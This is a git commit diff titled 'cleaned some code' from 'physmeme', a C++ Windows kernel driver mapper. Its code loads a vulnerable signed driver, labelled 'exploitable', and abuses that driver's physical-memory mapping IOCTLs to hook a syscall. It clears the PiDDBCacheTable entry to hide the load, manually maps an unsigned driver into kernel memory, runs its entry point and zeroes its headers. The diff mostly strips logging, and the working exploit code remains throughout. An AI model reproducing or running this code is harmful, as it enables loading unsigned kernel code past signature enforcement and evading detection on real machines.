cleaned some code

master
xerox 4 years ago
parent 48e3357155
commit efe9fd48c8

@ -27,8 +27,6 @@ For more information, please refer to <http://unlicense.org>
!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/ */
#include <fstream>
#include "../drv_image/drv_image.h" #include "../drv_image/drv_image.h"
namespace physmeme namespace physmeme
@ -62,53 +60,49 @@ namespace physmeme
const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress; const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress;
const auto source = (uintptr_t)m_dos_header + section.PointerToRawData; const auto source = (uintptr_t)m_dos_header + section.PointerToRawData;
std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress); std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress);
printf("[+] copying [%s] 0x%p -> 0x%p [0x%04X]\n", &section.Name[0], (void*)source, (void*)target, section.SizeOfRawData);
} }
} }
bool drv_image::process_relocation(uintptr_t image_base_delta, uint16_t data, uint8_t* relocation_base) bool drv_image::process_relocation(uintptr_t image_base_delta, uint16_t data, uint8_t* relocation_base)
{ {
#define IMR_RELOFFSET(x) (x & 0xFFF) #define IMR_RELOFFSET(x) (x & 0xFFF)
switch (data >> 12 & 0xF) switch (data >> 12 & 0xF)
{ {
case IMAGE_REL_BASED_HIGH: case IMAGE_REL_BASED_HIGH:
{ {
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data)); const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(HIWORD(image_base_delta)); *raw_address += static_cast<unsigned long>(HIWORD(image_base_delta));
break; break;
} }
case IMAGE_REL_BASED_LOW: case IMAGE_REL_BASED_LOW:
{ {
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data)); const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(LOWORD(image_base_delta)); *raw_address += static_cast<unsigned long>(LOWORD(image_base_delta));
break; break;
} }
case IMAGE_REL_BASED_HIGHLOW: case IMAGE_REL_BASED_HIGHLOW:
{ {
const auto raw_address = reinterpret_cast<size_t*>(relocation_base + IMR_RELOFFSET(data)); const auto raw_address = reinterpret_cast<size_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<size_t>(image_base_delta); *raw_address += static_cast<size_t>(image_base_delta);
break; break;
} }
case IMAGE_REL_BASED_DIR64: case IMAGE_REL_BASED_DIR64:
{ {
auto UNALIGNED raw_address = reinterpret_cast<DWORD_PTR UNALIGNED*>(relocation_base + IMR_RELOFFSET(data)); auto UNALIGNED raw_address = reinterpret_cast<DWORD_PTR UNALIGNED*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += image_base_delta; *raw_address += image_base_delta;
break; break;
} }
case IMAGE_REL_BASED_ABSOLUTE: // No action required case IMAGE_REL_BASED_ABSOLUTE: // No action required
case IMAGE_REL_BASED_HIGHADJ: // no action required case IMAGE_REL_BASED_HIGHADJ: // no action required
{ {
break; break;
} }
default: default:
{ {
return false; return false;
} }
} }
#undef IMR_RELOFFSET #undef IMR_RELOFFSET
return true; return true;
} }
@ -124,37 +118,24 @@ namespace physmeme
auto image_base_delta = static_cast<uintptr_t>(reinterpret_cast<uintptr_t>(base) - (nt_headers->OptionalHeader.ImageBase)); auto image_base_delta = static_cast<uintptr_t>(reinterpret_cast<uintptr_t>(base) - (nt_headers->OptionalHeader.ImageBase));
auto relocation_size = total_count_bytes; auto relocation_size = total_count_bytes;
// This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults // This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
const bool doRelocations = image_base_delta != 0 && relocation_size > 0; // too but lots of drivers do not have it set due to WDK defaults
if (!(image_base_delta != 0 && relocation_size > 0))
if (!doRelocations)
{
printf("[+] no relocations needed\n");
return; return;
}
void* relocation_end = reinterpret_cast<uint8_t*>(relocation_directory) + relocation_size; void* relocation_end = reinterpret_cast<uint8_t*>(relocation_directory) + relocation_size;
while (relocation_directory < relocation_end) while (relocation_directory < relocation_end)
{ {
auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr); auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr);
auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1; auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1;
auto relocation_data = reinterpret_cast<PWORD>(relocation_directory + 1); auto relocation_data = reinterpret_cast<PWORD>(relocation_directory + 1);
for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data) for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data)
{
if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE) if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE)
{
printf("[+] failed to relocate!");
return; return;
}
}
relocation_directory = reinterpret_cast<PIMAGE_BASE_RELOCATION>(relocation_data); relocation_directory = reinterpret_cast<PIMAGE_BASE_RELOCATION>(relocation_data);
} }
} }
template<typename T> template<typename T>
@ -163,31 +144,24 @@ namespace physmeme
return (T*)(uintptr_t)base + offset; return (T*)(uintptr_t)base + offset;
} }
void drv_image::fix_imports(const std::function<uintptr_t(std::string_view)> get_module, const std::function<uintptr_t(const char*, const char*)> get_function) void drv_image::fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function)
{ {
ULONG size; ULONG size;
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
if (import_descriptors == nullptr) if (!import_descriptors)
{
printf("[+] no imports!\n");
return; return;
}
for (; import_descriptors->Name; import_descriptors++) for (; import_descriptors->Name; import_descriptors++)
{ {
IMAGE_THUNK_DATA* image_thunk_data; IMAGE_THUNK_DATA* image_thunk_data;
const auto module_name = get_rva<char>(import_descriptors->Name); const auto module_name = get_rva<char>(import_descriptors->Name);
const auto module_base = get_module(module_name);
printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base);
if (import_descriptors->OriginalFirstThunk) if (import_descriptors->OriginalFirstThunk)
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk); image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk);
else else
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->FirstThunk); image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->FirstThunk);
auto image_func_data = get_rva<IMAGE_THUNK_DATA64>(import_descriptors->FirstThunk); auto image_func_data = get_rva<IMAGE_THUNK_DATA64>(import_descriptors->FirstThunk);
;
for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++) for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++)
{ {
@ -197,7 +171,6 @@ namespace physmeme
const auto name_of_import = static_cast<char*>(image_import_by_name->Name); const auto name_of_import = static_cast<char*>(image_import_by_name->Name);
function_address = get_function(module_name, name_of_import); function_address = get_function(module_name, name_of_import);
printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address);
image_func_data->u1.Function = function_address; image_func_data->u1.Function = function_address;
} }
} }

@ -28,7 +28,6 @@ For more information, please refer to <http://unlicense.org>
!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/ */
#pragma once #pragma once
#include <vector> #include <vector>
#define WIN32_NO_STATUS #define WIN32_NO_STATUS
@ -52,26 +51,22 @@ namespace physmeme
PIMAGE_DOS_HEADER m_dos_header = nullptr; PIMAGE_DOS_HEADER m_dos_header = nullptr;
PIMAGE_NT_HEADERS64 m_nt_headers = nullptr; PIMAGE_NT_HEADERS64 m_nt_headers = nullptr;
PIMAGE_SECTION_HEADER m_section_header = nullptr; PIMAGE_SECTION_HEADER m_section_header = nullptr;
public: public:
explicit drv_image(std::vector<uint8_t> image); explicit drv_image(std::vector<uint8_t> image);
void map();
void* data();
size_t size() const; size_t size() const;
size_t header_size();
uintptr_t entry_point() const; uintptr_t entry_point() const;
void map();
static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base);
void relocate(void* base) const; void relocate(void* base) const;
void fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function);
static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base);
template<typename T> template<typename T>
__forceinline T* get_rva(const unsigned long offset) __forceinline T* get_rva(const unsigned long offset)
{ {
return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr); return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr);
} }
void fix_imports(
const std::function<uintptr_t(std::string_view)> get_module,
const std::function<uintptr_t(const char*, const char*)> get_function
);
void* data();
size_t header_size();
}; };
} }

@ -16,8 +16,7 @@ namespace physmeme
nt_page_offset = nt_rva % page_size; nt_page_offset = nt_rva % page_size;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>( ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES));
);
std::vector<std::thread> search_threads; std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it //--- for each physical memory range, make a thread to search it

@ -6,44 +6,22 @@ namespace physmeme
NTSTATUS __cdecl map_driver(std::vector<std::uint8_t>& raw_driver) NTSTATUS __cdecl map_driver(std::vector<std::uint8_t>& raw_driver)
{ {
physmeme::drv_image image(raw_driver); physmeme::drv_image image(raw_driver);
//
// load exploitable driver
//
if (!physmeme::load_drv()) if (!physmeme::load_drv())
return STATUS_ABANDONED; return STATUS_ABANDONED;
physmeme::kernel_ctx ctx; physmeme::kernel_ctx ctx;
//
// shoot the tires off piddb cache.
//
const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp; const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp;
if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
return STATUS_ABANDONED; return STATUS_ABANDONED;
//
// lambdas used for fixing driver image
//
const auto _get_module = [&](std::string_view name)
{
return util::get_module_base(name.data());
};
const auto _get_export_name = [&](const char* base, const char* name) const auto _get_export_name = [&](const char* base, const char* name)
{ {
return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name)); return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name));
}; };
// image.fix_imports(_get_export_name);
// fix the driver image
//
image.fix_imports(_get_module, _get_export_name);
image.map(); image.map();
//
// allocate memory in the kernel for the driver
//
const auto pool_base = const auto pool_base =
ctx.allocate_pool( ctx.allocate_pool(
image.size(), image.size(),
@ -51,35 +29,19 @@ namespace physmeme
); );
image.relocate(pool_base); image.relocate(pool_base);
//
// copy driver into the kernel
//
ctx.write_kernel(pool_base, image.data(), image.size()); ctx.write_kernel(pool_base, image.data(), image.size());
//
// driver entry
//
auto entry_point = reinterpret_cast<std::uintptr_t>(pool_base) + image.entry_point(); auto entry_point = reinterpret_cast<std::uintptr_t>(pool_base) + image.entry_point();
// auto result = ctx.syscall<DRIVER_INITIALIZE>
// call driver entry (
//
auto result = ctx.syscall<DRIVER_INITIALIZE>(
reinterpret_cast<void*>(entry_point), reinterpret_cast<void*>(entry_point),
reinterpret_cast<std::uintptr_t>(pool_base), reinterpret_cast<std::uintptr_t>(pool_base),
image.size() image.size()
); );
//
// zero driver headers
//
ctx.zero_kernel_memory(pool_base, image.header_size()); ctx.zero_kernel_memory(pool_base, image.header_size());
physmeme::unmap_all();
if (!physmeme::unload_drv()) if (!physmeme::unload_drv())
return STATUS_ABANDONED; return STATUS_ABANDONED;
return result; return result;
} }

@ -1,13 +1,14 @@
#pragma once #pragma once
#include <windows.h> #include <windows.h>
#include <mutex>
#include <cstdint> #include <cstdint>
#include <map>
#include "../util/util.hpp" #include "../util/util.hpp"
#include "../loadup.hpp" #include "../loadup.hpp"
#include "../raw_driver.hpp" #include "../raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack ( push, 1 ) #pragma pack ( push, 1 )
typedef struct _GIOMAP typedef struct _GIOMAP
{ {
@ -19,20 +20,11 @@ typedef struct _GIOMAP
} GIOMAP; } GIOMAP;
#pragma pack ( pop ) #pragma pack ( pop )
#define MAP_PHYS 0xC3502004
#define UNMAP_PHYS 0xC3502008
namespace physmeme namespace physmeme
{ {
inline std::string drv_key; inline std::string drv_key;
inline HANDLE drv_handle = NULL; inline HANDLE drv_handle = NULL;
// keep track of mappings.
inline std::vector<std::pair<std::uintptr_t, std::uint32_t >> virtual_mappings;
//
// please code this function depending on your method of physical read/write.
//
inline bool load_drv() inline bool load_drv()
{ {
const auto [result, key] = const auto [result, key] =
@ -54,21 +46,12 @@ namespace physmeme
return drv_handle; return drv_handle;
} }
//
// please code this function depending on your method of physical read/write.
//
inline bool unload_drv() inline bool unload_drv()
{ {
return CloseHandle(drv_handle) && driver::unload(drv_key); return CloseHandle(drv_handle) && driver::unload(drv_key);
} }
// inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size)
// please code this function depending on your method of physical read/write.
//
inline std::uintptr_t map_phys(
std::uintptr_t addr,
std::size_t size
)
{ {
//--- ensure the validity of the address we are going to try and map //--- ensure the validity of the address we are going to try and map
if (!util::is_valid(addr)) if (!util::is_valid(addr))
@ -77,36 +60,35 @@ namespace physmeme
GIOMAP in_buffer = { 0, 0, addr, 0, size }; GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 }; uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0; unsigned long returned = 0;
DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
virtual_mappings.emplace_back(std::pair<std::uintptr_t, std::size_t>(out_buffer[0], size)); if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
))
return NULL;
return out_buffer[0]; return out_buffer[0];
} }
// inline bool unmap_phys(std::uintptr_t addr, std::size_t size)
// please code this function depending on your method of physical read/write.
//
inline bool unmap_phys(
std::uintptr_t addr,
std::size_t size
)
{ {
uintptr_t in_buffer = addr; uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = { sizeof(out_buffer) }; uintptr_t out_buffer[2] = { sizeof(out_buffer) };
unsigned long returned = NULL; unsigned long returned = NULL;
DeviceIoControl(drv_handle, UNMAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
// return DeviceIoControl(
// unmap all physical memory that was mapped. drv_handle,
// UNMAP_PHYSICAL,
inline void unmap_all() reinterpret_cast<LPVOID>(&in_buffer),
{ sizeof(in_buffer),
for (auto idx = 0u; idx < virtual_mappings.size(); ++idx) reinterpret_cast<LPVOID>(out_buffer),
unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second); sizeof(out_buffer),
&returned, NULL
);
} }
} }

@ -27,8 +27,6 @@ For more information, please refer to <http://unlicense.org>
!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/ */
#include <fstream>
#include "../drv_image/drv_image.h" #include "../drv_image/drv_image.h"
namespace physmeme namespace physmeme
@ -72,43 +70,41 @@ namespace physmeme
switch (data >> 12 & 0xF) switch (data >> 12 & 0xF)
{ {
case IMAGE_REL_BASED_HIGH: case IMAGE_REL_BASED_HIGH:
{ {
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data)); const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(HIWORD(image_base_delta)); *raw_address += static_cast<unsigned long>(HIWORD(image_base_delta));
break; break;
} }
case IMAGE_REL_BASED_LOW: case IMAGE_REL_BASED_LOW:
{ {
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data)); const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(LOWORD(image_base_delta)); *raw_address += static_cast<unsigned long>(LOWORD(image_base_delta));
break; break;
} }
case IMAGE_REL_BASED_HIGHLOW: case IMAGE_REL_BASED_HIGHLOW:
{ {
const auto raw_address = reinterpret_cast<size_t*>(relocation_base + IMR_RELOFFSET(data)); const auto raw_address = reinterpret_cast<size_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<size_t>(image_base_delta); *raw_address += static_cast<size_t>(image_base_delta);
break; break;
} }
case IMAGE_REL_BASED_DIR64: case IMAGE_REL_BASED_DIR64:
{ {
auto UNALIGNED raw_address = reinterpret_cast<DWORD_PTR UNALIGNED*>(relocation_base + IMR_RELOFFSET(data)); auto UNALIGNED raw_address = reinterpret_cast<DWORD_PTR UNALIGNED*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += image_base_delta; *raw_address += image_base_delta;
break; break;
} }
case IMAGE_REL_BASED_ABSOLUTE: // No action required case IMAGE_REL_BASED_ABSOLUTE: // No action required
case IMAGE_REL_BASED_HIGHADJ: // no action required case IMAGE_REL_BASED_HIGHADJ: // no action required
{ {
break; break;
} }
default: default:
{ {
return false; return false;
} }
} }
#undef IMR_RELOFFSET #undef IMR_RELOFFSET
return true; return true;
} }
@ -124,33 +120,21 @@ namespace physmeme
auto image_base_delta = static_cast<uintptr_t>(reinterpret_cast<uintptr_t>(base) - (nt_headers->OptionalHeader.ImageBase)); auto image_base_delta = static_cast<uintptr_t>(reinterpret_cast<uintptr_t>(base) - (nt_headers->OptionalHeader.ImageBase));
auto relocation_size = total_count_bytes; auto relocation_size = total_count_bytes;
// This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults // This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
const bool doRelocations = image_base_delta != 0 && relocation_size > 0; // too but lots of drivers do not have it set due to WDK defaults
if (!(image_base_delta != 0 && relocation_size > 0))
if (!doRelocations)
{
printf("[+] no relocations needed\n");
return; return;
}
void* relocation_end = reinterpret_cast<uint8_t*>(relocation_directory) + relocation_size; void* relocation_end = reinterpret_cast<uint8_t*>(relocation_directory) + relocation_size;
while (relocation_directory < relocation_end) while (relocation_directory < relocation_end)
{ {
auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr); auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr);
auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1; auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1;
auto relocation_data = reinterpret_cast<PWORD>(relocation_directory + 1); auto relocation_data = reinterpret_cast<PWORD>(relocation_directory + 1);
for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data) for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data)
{
if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE) if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE)
{
printf("[+] failed to relocate!");
return; return;
}
}
relocation_directory = reinterpret_cast<PIMAGE_BASE_RELOCATION>(relocation_data); relocation_directory = reinterpret_cast<PIMAGE_BASE_RELOCATION>(relocation_data);
} }
@ -163,24 +147,19 @@ namespace physmeme
return (T*)(uintptr_t)base + offset; return (T*)(uintptr_t)base + offset;
} }
void drv_image::fix_imports(const std::function<uintptr_t(std::string_view)> get_module, const std::function<uintptr_t(const char*, const char*)> get_function) void drv_image::fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function)
{ {
ULONG size; ULONG size;
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(
::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
if (import_descriptors == nullptr) if (!import_descriptors)
{
printf("[+] no imports!\n");
return; return;
}
for (; import_descriptors->Name; import_descriptors++) for (; import_descriptors->Name; import_descriptors++)
{ {
IMAGE_THUNK_DATA* image_thunk_data; IMAGE_THUNK_DATA* image_thunk_data;
const auto module_name = get_rva<char>(import_descriptors->Name); const auto module_name = get_rva<char>(import_descriptors->Name);
const auto module_base = get_module(module_name);
printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base);
if (import_descriptors->OriginalFirstThunk) if (import_descriptors->OriginalFirstThunk)
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk); image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk);
@ -196,8 +175,6 @@ namespace physmeme
const auto image_import_by_name = get_rva<IMAGE_IMPORT_BY_NAME>(*(DWORD*)image_thunk_data); const auto image_import_by_name = get_rva<IMAGE_IMPORT_BY_NAME>(*(DWORD*)image_thunk_data);
const auto name_of_import = static_cast<char*>(image_import_by_name->Name); const auto name_of_import = static_cast<char*>(image_import_by_name->Name);
function_address = get_function(module_name, name_of_import); function_address = get_function(module_name, name_of_import);
printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address);
image_func_data->u1.Function = function_address; image_func_data->u1.Function = function_address;
} }
} }

@ -52,26 +52,22 @@ namespace physmeme
PIMAGE_DOS_HEADER m_dos_header = nullptr; PIMAGE_DOS_HEADER m_dos_header = nullptr;
PIMAGE_NT_HEADERS64 m_nt_headers = nullptr; PIMAGE_NT_HEADERS64 m_nt_headers = nullptr;
PIMAGE_SECTION_HEADER m_section_header = nullptr; PIMAGE_SECTION_HEADER m_section_header = nullptr;
public: public:
explicit drv_image(std::vector<uint8_t> image); explicit drv_image(std::vector<uint8_t> image);
void map();
void* data();
size_t size() const; size_t size() const;
size_t header_size();
uintptr_t entry_point() const; uintptr_t entry_point() const;
void map();
static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base);
void relocate(void* base) const; void relocate(void* base) const;
void fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function);
static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base);
template<typename T> template<typename T>
__forceinline T* get_rva(const unsigned long offset) __forceinline T* get_rva(const unsigned long offset)
{ {
return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr); return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr);
} }
void fix_imports(
const std::function<uintptr_t(std::string_view)> get_module,
const std::function<uintptr_t(const char*, const char*)> get_function
);
void* data();
size_t header_size();
}; };
} }

@ -27,6 +27,22 @@ namespace physmeme
// //
inline std::atomic<void*> psyscall_func; inline std::atomic<void*> psyscall_func;
//
// offset of function into a physical page
// used for comparing bytes when searching
//
inline std::uint16_t nt_page_offset;
//
// rva of nt function we are going to hook
//
inline std::uint32_t nt_rva;
//
// base address of ntoskrnl (inside of this process)
//
inline std::uint8_t* ntoskrnl_buffer;
class kernel_ctx class kernel_ctx
{ {
public: public:
@ -98,22 +114,6 @@ namespace physmeme
return result; return result;
} }
private: private:
//
// offset of function into a physical page
// used for comparing bytes when searching
//
std::uint16_t nt_page_offset;
//
// rva of nt function we are going to hook
//
std::uint32_t nt_rva;
//
// base address of ntoskrnl (inside of this process)
//
std::uint8_t* ntoskrnl_buffer;
// //
// find and map the physical page of a syscall into this process // find and map the physical page of a syscall into this process
// //

@ -6,116 +6,66 @@ int __cdecl main(int argc, char** argv)
{ {
if (argc < 2) if (argc < 2)
{ {
perror("[-] invalid use, please provide a path to a driver\n"); std::perror("[-] invalid use, please provide a path to a driver\n");
return -1; return -1;
} }
std::vector<std::uint8_t> drv_buffer; std::vector<std::uint8_t> drv_buffer;
util::open_binary_file(argv[1], drv_buffer); util::open_binary_file(argv[1], drv_buffer);
if (!drv_buffer.size()) if (!drv_buffer.size())
{ {
perror("[-] invalid drv_buffer size\n"); std::perror("[-] invalid drv_buffer size\n");
return -1; return -1;
} }
physmeme::drv_image image(drv_buffer); physmeme::drv_image image(drv_buffer);
if (!physmeme::load_drv()) if (!physmeme::load_drv())
{ {
perror("[!] unable to load driver....\n"); std::perror("[!] unable to load driver....\n");
return -1; return -1;
} }
physmeme::kernel_ctx ctx; physmeme::kernel_ctx kernel_ctx;
std::printf("[+] driver has been loaded...\n");
std::printf("[+] %s mapped physical page -> 0x%p\n", physmeme::syscall_hook.first, physmeme::psyscall_func.load());
std::printf("[+] %s page offset -> 0x%x\n", physmeme::syscall_hook.first, physmeme::nt_page_offset);
//
// shoot the tires off piddb cache entry.
//
const auto drv_timestamp = util::get_file_header((void*)raw_driver)->TimeDateStamp; const auto drv_timestamp = util::get_file_header((void*)raw_driver)->TimeDateStamp;
printf("[+] clearing piddb cache for driver: %s, with timestamp 0x%x\n", physmeme::drv_key.c_str(), drv_timestamp); if (!kernel_ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
{ {
// this is because the signature might be broken on these versions of windows. // this is because the signature might be broken on these versions of windows.
perror("[-] failed to clear PiDDBCacheTable.\n"); perror("[-] failed to clear PiDDBCacheTable.\n");
return -1; return -1;
} }
printf("[+] cleared piddb cache...\n");
//
// lambdas used for fixing driver image
//
const auto _get_module = [&](std::string_view name)
{
return util::get_module_base(name.data());
};
const auto _get_export_name = [&](const char* base, const char* name) const auto _get_export_name = [&](const char* base, const char* name)
{ {
return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name)); return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name));
}; };
// image.fix_imports(_get_export_name);
// fix the driver image
//
image.fix_imports(_get_module, _get_export_name);
printf("[+] fixed imports\n");
image.map(); image.map();
printf("[+] sections mapped in memory\n");
//
// allocate memory in the kernel for the driver
//
const auto pool_base = ctx.allocate_pool(image.size(), NonPagedPool);
printf("[+] allocated 0x%llx at 0x%p\n", image.size(), pool_base);
if (!pool_base)
{
printf("[!] allocation failed!\n");
return -1;
}
const auto pool_base = kernel_ctx.allocate_pool(image.size(), NonPagedPool);
image.relocate(pool_base); image.relocate(pool_base);
printf("[+] relocations fixed\n"); kernel_ctx.write_kernel(pool_base, image.data(), image.size());
//
// copy driver into the kernel
//
ctx.write_kernel(pool_base, image.data(), image.size());
//
// driver entry
//
auto entry_point = reinterpret_cast<std::uintptr_t>(pool_base) + image.entry_point(); auto entry_point = reinterpret_cast<std::uintptr_t>(pool_base) + image.entry_point();
// auto result = kernel_ctx.syscall<DRIVER_INITIALIZE>
// call driver entry (
//
auto result = ctx.syscall<DRIVER_INITIALIZE>(
reinterpret_cast<void*>(entry_point), reinterpret_cast<void*>(entry_point),
reinterpret_cast<std::uintptr_t>(pool_base), reinterpret_cast<std::uintptr_t>(pool_base),
image.size() image.size()
); );
printf("[+] driver entry returned: 0x%p\n", result); std::printf("[+] driver entry returned: 0x%p\n", result);
//
// zero driver headers
//
ctx.zero_kernel_memory(pool_base, image.header_size());
// kernel_ctx.zero_kernel_memory(pool_base, image.header_size());
// unload exploitable driver
//
physmeme::unmap_all(); // just in case there are any left over physical pages mapped...
if (!physmeme::unload_drv()) if (!physmeme::unload_drv())
{ {
perror("[!] unable to unload driver... all handles closed?\n"); std::perror("[!] unable to unload driver... all handles closed?\n");
return -1; return -1;
} }
printf("[+] unloaded exploitable driver....\n"); std::printf("[=] press enter to close\n");
printf("[=] press enter to close\n");
std::cin.get(); std::cin.get();
} }

@ -1,13 +1,14 @@
#pragma once #pragma once
#include <windows.h> #include <windows.h>
#include <mutex>
#include <cstdint> #include <cstdint>
#include <map>
#include "../util/util.hpp" #include "../util/util.hpp"
#include "../loadup.hpp" #include "../loadup.hpp"
